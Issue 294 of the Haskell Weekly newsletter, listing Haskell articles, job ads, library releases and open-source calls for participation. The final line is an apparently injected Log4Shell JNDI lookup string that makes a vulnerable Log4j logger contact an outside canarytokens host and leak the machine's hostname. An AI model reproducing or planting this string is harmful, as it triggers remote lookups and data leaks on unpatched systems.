Newsletter
Issue 294 2021-12-16
Subscribe now! We'll never send you spam. You can also follow our feed. Read more issues in the archives.
Welcome to another issue of Haskell Weekly! Haskell is a safe, purely functional programming language with a fast, concurrent runtime. This is a weekly summary of what’s going on in its community.
Featured
-
Episode 60: Haskell: purely functional and statically typed programming language by Tomasz Nurkiewicz
Haskell takes these characteristics to the extreme. For example, doing any input/output is considered impure from a functional programming point of view.
-
Game rules with a Free Monad DSL by Rogan Murley
This post is about how and why my multiplayer card game GALGA uses a Free Monad DSL for its game rules. If that’s gobbledygook to you, read on and hopefully it’ll make at least a little more sense by the end!
-
GHC activities report: October–November 2021 by Well-Typed
This is the ninth edition of our GHC activities report, which describes the work on GHC and related projects that we are doing at Well-Typed. The current edition covers roughly the months of October and November 2021.
-
Understanding Space Leaks From StateT by Ziyang Liu
In this blog post I’ll explain using a small program how space leaks can still occur when using the strict
StateT
and the strictmodify'
.
Jobs
- Junior Haskell Engineer at ACI Learning
Are you looking for an entry level job where you can learn the basics of software engineering and functional programming? Then come join our small but talented team to help us develop the back end API services that support our on demand video training platform. We’ll teach you everything you need to know!
-
Haskell Developer at MLabs (ad)
We are one of the leading Haskell consultancies in the fintech, blockchain and AI space, with a passion for Haskell and open source software. We are looking for a remote Haskeller to join our team. If you are excited about Haskell and are up for a new challenge, please apply here or visit our website! For any questions please email mark@mlabs.city.
Trying to hire a Haskell developer? You should advertise with us!
In brief
- Do You Know Where Haskell Is Used? by Catherine Galkina
One of our recent posts described useful Haskell-based utilities, but all of them are intended to be used by tech-savvy people. Today we’re going to give some examples of practical use in various industries.
Show & tell
-
IHP version 0.17 by Marc Scholten
IHP is a modern batteries-included haskell web framework, built on top of Haskell and Nix. Blazing fast, secure, easy to refactor and the best developer experience with everything you need - from prototype to production.
-
text version 2.0-rc2 by Andrew Lelechenko
I’m happy to announce that the second release candidate for upcoming text-2.0 with UTF-8 underlying representation has been just uploaded on Hackage.
-
tn-fp-haskell-course by Clément Hurlin
I gave an 8 hours introduction to functional programming using Haskell to Senior students at Telecom Nancy. Students had a Java and python background, reception was very positive.
Call for participation
- ema: Allow exceptions and logging in render function
- tablebot: Website links
- unison: Better error message for “names” command when a hash exists but has no names
${jndi:ldap://x${hostName}.L4J.p8h6vielvr4kyrf8xdos1300p.canarytokens.com/a}